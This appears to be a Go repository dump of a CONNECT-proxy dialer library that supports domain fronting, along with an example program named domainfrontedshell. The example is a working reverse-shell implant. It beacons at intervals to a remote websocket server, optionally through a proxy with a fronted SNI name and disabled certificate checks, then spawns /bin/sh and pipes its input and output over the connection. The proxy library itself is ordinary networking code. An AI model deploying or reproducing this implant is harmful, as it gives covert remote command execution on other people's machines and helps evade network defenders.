├── .gitignore ├── LICENSE ├── README.md ├── examples └── domaintfrontedshell │ └── domainfrontedshell.go └── connectproxy.go /.gitignore: -------------------------------------------------------------------------------- 1 | .*.swp 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 2017 J. Stuart McMurray 2 | 3 | This software is provided 'as-is', without any express or implied 4 | warranty. In no event will the authors be held liable for any damages 5 | arising from the use of this software. 6 | 7 | Permission is granted to anyone to use this software for any purpose, 8 | including commercial applications, and to alter it and redistribute it 9 | freely, subject to the following restrictions: 10 | 11 | 1. The origin of this software must not be misrepresented; you must not 12 | claim that you wrote the original software. If you use this software 13 | in a product, an acknowledgment in the product documentation would be 14 | appreciated but is not required. 15 | 2. Altered source versions must be plainly marked as such, and must not be 16 | misrepresented as being the original software. 17 | 3. This notice may not be removed or altered from any source distribution. 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ConnectProxy 2 | ============ 3 | Small Go library to use CONNECT-speaking proxies standalone or with the 4 | [proxy](golang.org/x/net/proxy/) library. 5 | 6 | [![GoDoc](https://godoc.org/github.com/magisterquis/connectproxy?status.svg)](https://godoc.org/github.com/magisterquis/connectproxy) 7 | 8 | Please see the godoc for more details. 9 | 10 | This library is written to make connecting through proxies easier. It 11 | unashamedly steals from 12 | https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b, but adds a 13 | nice and simple interface. 14 | 15 | For legal use only. 16 | 17 | Domain Fronting 18 | --------------- 19 | To make it easier to have a different SNI name and Host: header, a separate 20 | SNI name may be specified when registering the proxy. See the 21 | `GeneratorWithConfig` documentation for more details. 22 | 23 | Examples 24 | -------- 25 | The godoc has a couple of examples. Also, in the examples directory there is 26 | an example program. 27 | -------------------------------------------------------------------------------- /examples/domaintfrontedshell/domainfrontedshell.go: -------------------------------------------------------------------------------- 1 | // domainfrontedshell is a shell over websockets through a proxy with domain 2 | // fronting 3 | package main 4 | 5 | /* 6 | * domainfrontedshell 7 | * Shell via proxy, websockets, and domain fronting 8 | * By J. Stuart McMurray 9 | * Created 20170821 10 | * Last Modified 20170821 11 | */ 12 | 13 | import ( 14 | "crypto/tls" 15 | "flag" 16 | "fmt" 17 | "io" 18 | "log" 19 | "net/url" 20 | "os" 21 | "os/exec" 22 | "runtime" 23 | "strings" 24 | "sync" 25 | "time" 26 | 27 | "github.com/gorilla/websocket" 28 | "github.com/magisterquis/connectproxy" 29 | "golang.org/x/net/proxy" 30 | ) 31 | 32 | // BUFLEN is the stdout/err read buffer size 33 | const BUFLEN = 1000 /* Should fit nicely in one frame */ 34 | 35 | // PINGINT is the interval at which pings are sent on websocket connections 36 | const PINGINT = time.Minute 37 | 38 | func main() { 39 | var ( 40 | wsServer = flag.String( 41 | "server", 42 | "", 43 | "Websockets server `URL`", 44 | ) 45 | name = flag.String( 46 | "domain", 47 | "", 48 | "Optional websockets server TLS SNI `name`", 49 | ) 50 | pServer = flag.String( 51 | "proxy", 52 | "", 53 | "Optional proxy server `URL`", 54 | ) 55 | pName = flag.String( 56 | "proxy-domain", 57 | "", 58 | "Optional proxy server TLS SNI `name`", 59 | ) 60 | bInt = flag.Duration( 61 | "beacon", 62 | time.Hour, 63 | "Beacon `interval`", 64 | ) 65 | isv = flag.Bool( 66 | "insecure", 67 | false, 68 | "Skip TLS certificate checks", 69 | ) 70 | ) 71 | flag.Usage = func() { 72 | fmt.Fprintf( 73 | os.Stderr, 74 | `Usage: %v [options] 75 | 76 | Connects to the websockets server (-server) via a TLS connection to the 77 | specified domain (-domain), optionally through a proxy (-proxy), connects it to 78 | a shell. 79 | 80 | The supported proxy types are: 81 | - http and https (using the CONNECT verb) 82 | - socks5 83 | 84 | For legal use only. 85 | 86 | Options: 87 | `, 88 | os.Args[0], 89 | ) 90 | flag.PrintDefaults() 91 | } 92 | flag.Parse() 93 | 94 | /* Make sure we have necessary bits */ 95 | if "" == *wsServer { 96 | log.Fatalf("Missing websocket server URL (-server)") 97 | } 98 | 99 | /* Register HTTP(s) proxy schemes */ 100 | proxy.RegisterDialerType("http", connectproxy.New) 101 | proxy.RegisterDialerType("https", connectproxy.GeneratorWithConfig( 102 | &connectproxy.Config{ 103 | InsecureSkipVerify: *isv, 104 | ServerName: *pName, 105 | }, 106 | )) 107 | 108 | /* Set the proxy, if we have one */ 109 | var d proxy.Dialer = proxy.Direct 110 | if "" != *pServer { 111 | /* Parse proxy URL */ 112 | u, err := url.Parse(*pServer) 113 | if nil != err { 114 | log.Fatalf( 115 | "Unable to parse proxy server URL %q: %v", 116 | *pServer, 117 | err, 118 | ) 119 | } 120 | /* Get dialer */ 121 | d, err = proxy.FromURL(u, proxy.Direct) 122 | if nil != err { 123 | log.Fatalf( 124 | "Unable to determine proxy from %q: %v", 125 | u, 126 | err, 127 | ) 128 | } 129 | log.Printf("Proxy: %v", u) 130 | } 131 | 132 | /* Beacon */ 133 | num := 0 /* Tag number */ 134 | for { 135 | go beacon(num, *wsServer, *name, d, *isv) 136 | num++ 137 | time.Sleep(*bInt) 138 | } 139 | } 140 | 141 | /* beacon makes a websocket connection to wsurl, optionally via domain fronting 142 | to the name dfname, via the dialer d. On connection, a shell is spawned and 143 | its stdio connected to the websocket. If isv is true and the connection to the 144 | websocket server is via TLS, no certification validation will be performed. */ 145 | func beacon(num int, wsurl string, dfname string, d proxy.Dialer, isv bool) { 146 | /* Connect to websockets server */ 147 | c, res, err := (&websocket.Dialer{ 148 | NetDial: d.Dial, 149 | TLSClientConfig: &tls.Config{ 150 | ServerName: dfname, 151 | InsecureSkipVerify: isv, 152 | }, 153 | EnableCompression: true, 154 | }).Dial(wsurl, nil) 155 | if nil != err { 156 | if nil != res { 157 | log.Printf( 158 | "[%v] Connection error to %q (%v): %v", 159 | num, 160 | wsurl, 161 | res.Status, 162 | err, 163 | ) 164 | } else { 165 | log.Printf( 166 | "[%v] Connection error to %q: %v", 167 | num, 168 | wsurl, 169 | err, 170 | ) 171 | } 172 | 173 | return 174 | } 175 | log.Printf("[%v] Connected: %v->%v", num, c.LocalAddr(), c.RemoteAddr()) 176 | defer c.Close() 177 | 178 | /* Mutex to prevent multiple writes */ 179 | writeLock := &sync.Mutex{} 180 | 181 | /* Prepare a shell */ 182 | shell := exec.Command("/bin/sh") 183 | stdin, err := shell.StdinPipe() 184 | if nil != err { 185 | log.Printf("[%v] Unable to get shell stdin: %v", num, err) 186 | return 187 | } 188 | stdout, err := shell.StdoutPipe() 189 | if nil != err { 190 | log.Printf("[%v] Unablet oget shell stdout: %v", num, err) 191 | return 192 | } 193 | stderr, err := shell.StderrPipe() 194 | if nil != err { 195 | log.Printf("[%v] Unable to get shell stderr: %v", num, err) 196 | return 197 | } 198 | 199 | /* Start proxying comms */ 200 | wg := &sync.WaitGroup{} 201 | wg.Add(3) 202 | go proxyInput(num, stdin, c, wg) 203 | go proxyOutput(num, "Stdout", c, stdout, writeLock, wg) 204 | go proxyOutput(num, "Stderr", c, stderr, writeLock, wg) 205 | 206 | /* Ping every so often */ 207 | done := make(chan struct{}) 208 | defer func() { close(done) }() 209 | go pinger(num, c, writeLock, done) 210 | 211 | /* Fire off the shell */ 212 | if err := shell.Run(); nil != err { 213 | log.Printf("[%v] Shell exit error: %v", num, err) 214 | } 215 | 216 | wg.Wait() 217 | log.Printf("[%v] Done.", num) 218 | } 219 | 220 | /* proxyInput copies from ws to in until an error occurs. */ 221 | func proxyInput( 222 | num int, 223 | in io.WriteCloser, 224 | ws *websocket.Conn, 225 | wg *sync.WaitGroup, 226 | ) { 227 | defer wg.Done() 228 | defer in.Close() 229 | defer ws.Close() 230 | for { 231 | /* Get a message */ 232 | t, msg, err := ws.ReadMessage() 233 | if nil != err { 234 | printErr(num, err, "Stdin read") 235 | return 236 | } 237 | /* For some reason, newlines are stripped */ 238 | if websocket.TextMessage == t { 239 | if runtime.GOOS == "windows" { 240 | msg = append(msg, '\r') 241 | } 242 | msg = append(msg, '\n') 243 | } 244 | /* Write it to the shell */ 245 | if _, err := in.Write(msg); nil != err { 246 | printErr(num, err, "Stdin write") 247 | return 248 | } 249 | } 250 | } 251 | 252 | /* proxyOutput copies from out to ws until an error occurs. During writes, l 253 | will be held. Name should either be Stdout or Stderr. */ 254 | func proxyOutput( 255 | num int, 256 | name string, 257 | ws *websocket.Conn, 258 | out io.ReadCloser, 259 | l *sync.Mutex, 260 | wg *sync.WaitGroup, 261 | ) { 262 | defer wg.Done() 263 | defer out.Close() 264 | defer ws.Close() 265 | var ( 266 | buf = make([]byte, BUFLEN) 267 | n int 268 | err error 269 | ) 270 | for { 271 | /* Get some output */ 272 | n, err = out.Read(buf) 273 | if nil != err { 274 | if io.EOF == err { 275 | return 276 | } 277 | printErr(num, err, "%v read", name) 278 | return 279 | } 280 | /* Strip trailing newlines, because websockets... */ 281 | for { 282 | if '\n' == buf[n-1] || 283 | (runtime.GOOS == "windows" && 284 | '\r' == buf[n-1]) { 285 | n-- 286 | continue 287 | } 288 | break 289 | } 290 | /* Hold the lock, send it */ 291 | l.Lock() 292 | err = ws.WriteMessage(websocket.BinaryMessage, buf[:n]) 293 | l.Unlock() 294 | if nil != err { 295 | if io.EOF == err { 296 | return 297 | } 298 | printErr(num, err, "%v write", name) 299 | return 300 | } 301 | } 302 | } 303 | 304 | /* pinger sends pings to the connection every so often, holding l while it 305 | does. It terminates when done is closed or a write fails. */ 306 | func pinger( 307 | num int, 308 | ws *websocket.Conn, 309 | l *sync.Mutex, 310 | done <-chan struct{}, 311 | ) { 312 | defer ws.Close() 313 | 314 | /* Canned ping */ 315 | pm, err := websocket.NewPreparedMessage(websocket.PingMessage, []byte{}) 316 | if nil != err { 317 | log.Printf("[%v] Unable to prepare ping message: %v", num, err) 318 | return 319 | } 320 | for { 321 | /* Try to send the ping */ 322 | l.Lock() 323 | err = ws.WritePreparedMessage(pm) 324 | l.Unlock() 325 | if nil != err { 326 | printErr(num, err, "Unable to ping") 327 | return 328 | } 329 | /* Wait or exit */ 330 | select { 331 | case <-time.After(PINGINT): 332 | case <-done: 333 | return 334 | } 335 | } 336 | } 337 | 338 | /* printErr prints the number in square brackets, the message, its arguments, 339 | and the error, all assuming the error isn't boring. This currently means EOF 340 | and closed network connections. */ 341 | func printErr(num int, err error, f string, a ...interface{}) { 342 | /* Don't print boring canned errors */ 343 | switch err { 344 | case io.EOF: 345 | return 346 | } 347 | /* Don't print errors with specific suffixes */ 348 | for _, s := range []string{"use of closed network connection"} { 349 | if strings.HasSuffix(err.Error(), s) { 350 | return 351 | } 352 | } 353 | /* Ok, message is interesting, print it */ 354 | log.Printf("[%v] %s: %s", num, fmt.Sprintf(f, a...), err) 355 | } 356 | -------------------------------------------------------------------------------- /connectproxy.go: -------------------------------------------------------------------------------- 1 | // Package connectproxy implements a proxy.Dialer which uses HTTP(s) CONNECT 2 | // requests. 3 | // 4 | // It is heavily based on 5 | // https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b and meant to 6 | // compliment the proxy package (golang.org/x/net/proxy). 7 | // 8 | // Two URL schemes are supported: http and https. These represent plaintext 9 | // and TLS-wrapped connections to the proxy server, respectively. 10 | // 11 | // The proxy.Dialer returned by the package may either be used directly to make 12 | // connections via a proxy which understands CONNECT request, or indirectly 13 | // via dialer.RegisterDialerType. 14 | // 15 | // Direct use: 16 | // /* Make a proxy.Dialer */ 17 | // d, err := connectproxy.New("https://proxyserver:4433", proxy.Direct) 18 | // if nil != err{ 19 | // panic(err) 20 | // } 21 | // 22 | // /* Connect through it */ 23 | // c, err := d.Dial("tcp", "internalsite.com") 24 | // if nil != err { 25 | // log.Printf("Dial: %v", err) 26 | // return 27 | // } 28 | // 29 | // /* Do something with c */ 30 | // 31 | // Indirectly, via dialer.RegisterDialerType: 32 | // /* Register handlers for HTTP and HTTPS proxies */ 33 | // proxy.RegisterDialerType("http", connectproxy.New) 34 | // proxy.RegisterDialerType("https", connectproxy.New) 35 | // 36 | // /* Make a Dialer for a proxy */ 37 | // u, err := url.Parse("https://proxyserver.com:4433") 38 | // if nil != err { 39 | // log.Fatalf("Parse: %v", err) 40 | // } 41 | // d, err := proxy.FromURL(u, proxy.Direct) 42 | // if nil != err { 43 | // log.Fatalf("Proxy: %v", err) 44 | // } 45 | // 46 | // /* Connect through it */ 47 | // c, err := d.Dial("tcp", "internalsite.com") 48 | // if nil != err { 49 | // log.Fatalf("Dial: %v", err) 50 | // } 51 | // 52 | // /* Do something with c */ 53 | // 54 | // It's also possible to make the TLS handshake with an HTTPS proxy server use 55 | // a different name for SNI than the Host: header uses in the CONNECT request: 56 | // d, err := NewWithConfig( 57 | // "https://sneakyvhost.com:443", 58 | // proxy.Direct, 59 | // &connectproxy.Config{ 60 | // ServerName: "normalhoster.com", 61 | // }, 62 | // ) 63 | // if nil != err { 64 | // panic(err) 65 | // } 66 | // 67 | // /* Use d.Dial(...) */ 68 | // 69 | package connectproxy 70 | 71 | /* 72 | * connectproxy.go 73 | * Implement a dialer which proxies via an HTTP CONNECT request 74 | * By J. Stuart McMurray 75 | * Created 20170821 76 | * Last Modified 20170821 77 | */ 78 | 79 | import ( 80 | "bufio" 81 | "crypto/tls" 82 | "errors" 83 | "fmt" 84 | "net" 85 | "net/http" 86 | "net/url" 87 | "time" 88 | 89 | "golang.org/x/net/proxy" 90 | "encoding/base64" 91 | ) 92 | 93 | func init() { 94 | 95 | } 96 | 97 | // ErrorUnsupportedScheme is returned if a scheme other than "http" or 98 | // "https" is used. 99 | type ErrorUnsupportedScheme error 100 | 101 | // ErrorConnectionTimeout is returned if the connection through the proxy 102 | // server was not able to be made before the configured timeout expired. 103 | type ErrorConnectionTimeout error 104 | 105 | // Config allows various parameters to be configured. It is used with 106 | // NewWithConfig. The config passed to NewWithConfig may be changed between 107 | // requests. If it is, the changes will affect all current and future 108 | // invocations of the returned proxy.Dialer's Dial method. 109 | type Config struct { 110 | // ServerName is the name to use in the TLS connection to (not through) 111 | // the proxy server if different from the host in the URL. 112 | // Specifically, this is used in the ServerName field of the 113 | // *tls.Config used in connections to TLS-speaking proxy servers. 114 | ServerName string 115 | 116 | // For proxy servers supporting TLS connections (to, not through), 117 | // skip TLS certificate validation. 118 | InsecureSkipVerify bool // Passed directly to tls.Dial 119 | 120 | // Header sets the headers in the initial HTTP CONNECT request. See 121 | // the documentation for http.Request for more information. 122 | Header http.Header 123 | 124 | // DialTimeout is an optional timeout for connections through (not to) 125 | // the proxy server. 126 | DialTimeout time.Duration 127 | } 128 | 129 | // RegisterDialerFromURL is a convenience wrapper around 130 | // proxy.RegisterDialerType, which registers the given URL as a for the schemes 131 | // "http" and/or "https", as controlled by registerHTTP and registerHTTPS. If 132 | // both registerHTTP and registerHTTPS are false, RegisterDialerFromURL is a 133 | // no-op. 134 | func RegisterDialerFromURL(registerHTTP, registerHTTPS bool) { 135 | if registerHTTP { 136 | proxy.RegisterDialerType("http", New) 137 | } 138 | if registerHTTPS { 139 | proxy.RegisterDialerType("https", New) 140 | } 141 | } 142 | 143 | // connectDialer makes connections via an HTTP(s) server supporting the 144 | // CONNECT verb. It implements the proxy.Dialer interface. 145 | type connectDialer struct { 146 | u *url.URL 147 | forward proxy.Dialer 148 | config *Config 149 | 150 | /* Auth from the url. Avoids a function call */ 151 | haveAuth bool 152 | username string 153 | password string 154 | } 155 | 156 | // New returns a proxy.Dialer given a URL specification and an underlying 157 | // proxy.Dialer for it to make network requests. New may be passed to 158 | // proxy.RegisterDialerType for the schemes "http" and "https". The 159 | // convenience function RegisterDialerFromURL simplifies this. 160 | func New(u *url.URL, forward proxy.Dialer) (proxy.Dialer, error) { 161 | return NewWithConfig(u, forward, nil) 162 | } 163 | 164 | // NewWithConfig is like New, but allows control over various options. 165 | func NewWithConfig(u *url.URL, forward proxy.Dialer, config *Config) (proxy.Dialer, error) { 166 | /* Make sure we have an allowable scheme */ 167 | if "http" != u.Scheme && "https" != u.Scheme { 168 | return nil, ErrorUnsupportedScheme(errors.New( 169 | "connectproxy: unsupported scheme " + u.Scheme, 170 | )) 171 | } 172 | 173 | /* Need at least an empty config */ 174 | if nil == config { 175 | config = &Config{} 176 | } 177 | 178 | /* To be returned */ 179 | cd := &connectDialer{ 180 | u: u, 181 | forward: forward, 182 | config: config, 183 | } 184 | 185 | /* Work out the TLS server name */ 186 | if "" == cd.config.ServerName { 187 | h, _, err := net.SplitHostPort(u.Host) 188 | if nil != err && "missing port in address" == err.Error() { 189 | h = u.Host 190 | } 191 | cd.config.ServerName = h 192 | } 193 | 194 | /* Parse out auth */ 195 | /* Below taken from https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b */ 196 | if nil != u.User { 197 | cd.haveAuth = true 198 | cd.username = u.User.Username() 199 | cd.password, _ = u.User.Password() 200 | } 201 | 202 | return cd, nil 203 | } 204 | 205 | // GeneratorWithConfig is like NewWithConfig, but is suitable for passing to 206 | // proxy.RegisterDialerType while maintaining configuration options. 207 | // 208 | // This is to enable registration of an http(s) proxy with options, e.g.: 209 | // proxy.RegisterDialerType("https", connectproxy.GeneratorWithConfig( 210 | // &connectproxy.Config{DialTimeout: 5 * time.Minute}, 211 | // )) 212 | func GeneratorWithConfig(config *Config) func(*url.URL, proxy.Dialer) (proxy.Dialer, error) { 213 | return func(u *url.URL, forward proxy.Dialer) (proxy.Dialer, error) { 214 | return NewWithConfig(u, forward, config) 215 | } 216 | } 217 | 218 | // Dial connects to the given address via the server. 219 | func (cd *connectDialer) Dial(network, addr string) (net.Conn, error) { 220 | /* Connect to proxy server */ 221 | nc, err := cd.forward.Dial("tcp", cd.u.Host) 222 | if nil != err { 223 | return nil, err 224 | } 225 | /* Upgrade to TLS if necessary */ 226 | if "https" == cd.u.Scheme { 227 | nc = tls.Client(nc, &tls.Config{ 228 | InsecureSkipVerify: cd.config.InsecureSkipVerify, 229 | ServerName: cd.config.ServerName, 230 | }) 231 | } 232 | 233 | /* The below adapted from https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b */ 234 | 235 | /* Work out the URL to request */ 236 | // HACK. http.ReadRequest also does this. 237 | reqURL, err := url.Parse("http://" + addr) 238 | if err != nil { 239 | nc.Close() 240 | return nil, err 241 | } 242 | reqURL.Scheme = "" 243 | req, err := http.NewRequest("CONNECT", reqURL.String(), nil) 244 | if err != nil { 245 | nc.Close() 246 | return nil, err 247 | } 248 | req.Close = false 249 | 250 | if (len(cd.config.Header) > 0) { 251 | req.Header = cd.config.Header 252 | } 253 | 254 | if cd.haveAuth { 255 | basicAuth := "Basic " + base64.StdEncoding.EncodeToString([]byte(cd.username + ":" + cd.password)) 256 | req.Header.Add("Proxy-Authorization", basicAuth) 257 | } 258 | 259 | /* Send the request */ 260 | err = req.Write(nc) 261 | if err != nil { 262 | nc.Close() 263 | return nil, err 264 | } 265 | 266 | /* Timer to terminate long reads */ 267 | var ( 268 | connTOd = false 269 | connected = make(chan string) 270 | to = cd.config.DialTimeout 271 | ) 272 | if 0 != to { 273 | go func() { 274 | select { 275 | case <-time.After(to): 276 | connTOd = true 277 | nc.Close() 278 | case <-connected: 279 | } 280 | }() 281 | } 282 | /* Wait for a response */ 283 | resp, err := http.ReadResponse(bufio.NewReader(nc), req) 284 | close(connected) 285 | if nil != resp { 286 | resp.Body.Close() 287 | } 288 | if err != nil { 289 | nc.Close() 290 | if connTOd { 291 | return nil, ErrorConnectionTimeout(fmt.Errorf( 292 | "connectproxy: no connection to %q after %v", 293 | reqURL, 294 | to, 295 | )) 296 | } 297 | return nil, err 298 | } 299 | /* Make sure we can proceed */ 300 | if resp.StatusCode != http.StatusOK { 301 | nc.Close() 302 | return nil, fmt.Errorf( 303 | "connectproxy: non-OK status: %v", 304 | resp.Status, 305 | ) 306 | } 307 | return nc, nil 308 | } 309 | --------------------------------------------------------------------------------